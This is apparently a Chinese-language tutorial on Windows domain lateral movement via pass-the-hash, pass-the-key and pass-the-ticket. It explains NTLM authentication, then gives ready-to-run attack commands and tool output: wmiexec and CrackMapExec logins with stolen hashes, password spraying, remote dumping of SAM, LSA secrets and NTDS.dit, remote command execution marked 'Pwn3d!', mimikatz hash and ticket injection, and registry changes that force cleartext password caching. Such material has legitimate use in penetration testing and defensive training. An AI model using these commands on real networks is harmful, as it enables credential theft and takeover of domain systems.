在内网渗透的过程中我们常用到的就是这三种攻击
- pass the hash - hash传递
- pass the ticket - 票据传递
- pass the key - 密钥传递
这三种攻击我们并不陌生,在攻防演练当中常用的套路就是,抓密码→横向,抓到hash→传递,登录上去继续重复操作,直到抓到域管理员密码→登录域控。
pass the hash 攻击
Windows用户hash主要由以下部分组成,其中NTLM-HASH 比LM-HASH的安全性更高:
用户名称:RID:LM-HASH值:NTLM-HASH值
NTLM网络认证
NTLM是基于质询、应答消息交换模式的认证机制,用户工作组和域环境身份认证NTLM有三步。
- 协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
- 质询:质询/应答 (Challenge/Response)模式,用于消息交换
- 验证:验证身份合法性,通常由 Server端或 DC完成这个过程
大概的流程:- 客户端对对明文密码进行加密缓存,然后用户名发送到服务器,发起认证请求
- 服务器生成一个16字节的随机数,(质询)发送给客户端
- 客户端使用用户HASH对质询进行加密,讲结果发送给服务器
- 服务器发送三项数据给域控服务器:
a. User name
b. 发送客户端的质询
c. 从客户端接收加密结果
域控服务器使用User name 从AD 中检索这个用户的NTLM HASH,同时用NTML hash质询,然后把这个值和客户端计算出来的值与结果比较,结果一致就验证成功。
形成原因
在认证的时候不仅支持明文认证同时允许使用hash认证
明文登录:明文→加密成hash→认证
hash登录:hash→认证
使用WMIEXEC
windows下使用wmiexec.exe通过pth方式拿shell:
wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ./tom@10.10.xx.xx
./wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ninitom.cn/web@10.10.10.22
CrackMapExec
身份认证检查凭证
批量登录
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'
使用用户hash登录
例如获取到
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
类似这样的凭据时候,可以使用完整的hash或者使用nthash(后半部分进行登录)
python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
示例:
python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab'
使用多个用户名或者密码
python38.exe .\cme 192.168.1.101 -u user1 user2 user3 -p Summer18
python38.exe .\cme 192.168.1.101 -u user1 -p password1 password2 password3
示例:
python38.exe .\cme smb 192.168.52.0/24 -u n001 n002 web admin administrator -p Admin123
CME 接受用户名和密码的 txt 文件。每行一个用户/密码。注意帐户锁定!
python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18
python38.exe .\cme 192.168.1.101 -u Administrator -p /path/to/passwords.txt
注意:默认情况下,CME 将在成功登录后退出。即使找到有效密码,使用 —continue-on-success 标志也会继续喷射。用于针对大型用户列表喷洒单个密码使用示例:
python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
远程获取凭证
以下示例使用用户名和明文密码,尽管用户/哈希组合也可以使用。
使用 secretsdump.py 中的方法转储 SAM 哈希
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
使用 secretsdump.py 中的方法转储 LSA 机密
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit
2 methods are available:
(default) drsuapi - Uses drsuapi RPC interface create a handle, trigger replication, and combined with
additional drsuapi calls to convert the resultant linked-lists into readable format
vss - Uses the Volume Shadow copy Service
python38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
python38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit 密码历史记录
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
显示每个 NTDS.dit 帐户的 pwdLastSet 属性
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
命令执行
执行方法
CME 具有三种不同的命令执行方式:
wmiexec
通过 WMI 执行命令atexec
通过使用 Windows 任务调度程序调度任务来执行命令smbexec
通过创建和运行服务来执行命令
默认情况下,如果一个执行方法失败,CME 将故障转移到不同的执行方法。它尝试按以下顺序执行命令:
wmiexec
atexec
smbexec
如果您想强制 CME 仅使用一种执行方法,您可以使用--exec-method
标志指定哪一种。
命令执行方法在 Executed Command 输出行中表示。
WMIEXEC 示例,请注意“通过 wmiexec 执行的命令”输出行。
PS I:\域渗透\cmedb-windows-latest> python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab' -X '$PSVersionTable' --exec-method wmiexec
[1m[34mSMB[0m 192.168.52.1 445 IPHONE [1m[34m[*][0m Windows 10.0 Build 18362 x64 (name:IPHONE) (domain:iphone) (signing:False) (SMBv1:False)
[1m[34mSMB[0m 192.168.52.1 445 IPHONE [1m[31m[-][0m iphone\web:570a9a65db8fba761c1008a51d4c95ab STATUS_LOGON_FAILURE
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[34m[*][0m Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:WEB) (domain:ninitom.cn) (signing:False) (SMBv1:True)
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[34m[*][0m Windows 7 Ultimate 7601 Service Pack 1 x64 (name:TEST-PC) (domain:ninitom.cn) (signing:False) (SMBv1:True)
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[32m[+][0m ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab [1m[33m(Pwn3d!)[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[32m[+][0m ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab [1m[33m(Pwn3d!)[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[32m[+][0m Executed command via wmiexec
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mName Value[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33m---- -----[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mCLRVersion 2.0.50727.5420[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mBuildVersion 6.1.7601.17514[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSVersion 2.0[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mWSManStackVersion 2.0[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSCompatibleVersions {1.0, 2.0}[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mSerializationVersion 1.1.0.1[0m
[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSRemotingProtocolVersion 2.1[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[32m[+][0m Executed command via wmiexec
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mName Value[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33m---- -----[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mCLRVersion 2.0.50727.5420[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mBuildVersion 6.1.7601.17514[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSVersion 2.0[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mWSManStackVersion 2.0[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSCompatibleVersions {1.0, 2.0}[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mSerializationVersion 1.1.0.1[0m
[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSRemotingProtocolVersion 2.1[0m
pass the key攻击(PTK)
ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
获取到的已知信息
msv :
[00000003] Primary
* Username : Administrator
* Domain : NINITOM
* NTLM : e45a314c664d40a227f9540121d1a29d
* SHA1 : 68d2cbb7f15aec345fbf42a6326ddfee03e61708
* DPAPI : 045a6171114f8870de9f71de4468fbc8
通过mimikatz 传递
普通用户获取到administator的hash,执行下列操作获取到cmd权限
mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组则为.) /user:目标机器的用户名 /ntlm:用户名对应的hash"
mimikatzprivilege::debug
"sekurlsa::pth /user:administrator /domain:ninitom.cn /ntlm:e45a314c664d40a227f9540121d1a29d"
跳出cmd访问到
dir \\10.10.10.10\c$
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
在windows Server 2012及其以后的版本中,使用抓密码工具无法从内存中获取到明文密码。
可以通过修改注册表在系统重启后可以看到明文密码:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Hash传递登录RDP
Restricted Admin mode,直译为受限管理模式,它使用当前Windows登录凭据,不需要输入口令,直接登录。当然需要两端都支持Restricted Admin mode,即Server需要开启Restricted Admin mode,Client也需要支持Restricted Admin mode。
Restricted Admin mode适用于:
- Windows 8.1和Windows Server 2012 R2默认支持该功能
- Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
查看是否支持Restricted Admin mode的命令。
mstsc.exe /restrictedadmin
开启Restricted Admin mode的方法
- 方法1: 安装补丁3126593 补丁
- 修改注册表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
实践:
# 管理员权限下执行以下命令:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组.) /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"
privilege::debug
sekurlsa::pth /user:web /domain:ninitom.cn /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"
我不知道我安装了补丁好像还是没什么卵用,方法就是这么个方法。
Pass The Ticket
使用票据进行传递使用mimikatz
票据传递
privilege::debug
sekurlsa::tickets /export
把获取到的票据拿出来,通过攻击机器把票据注入到内存中。
kerberos::ptt "票据路径"
kerberos::ptt "[0;75cc8]-2-0-40e10000-Administrator@krbtgt-NINITOM.CN.kirbi"
通过mimikatz
kerberos::list 查看票据
kerberos::purge 清除票据
查看到有这个票据在内存中就算是成功了,我们可以通过dir 去查看域控主机是否可以去访问
dir \\dc1.ninitom.cn\c$
这里使用主机名、ip地址、域都是可以的只要能解析到对应的这个ip地址
也可以通过kekeo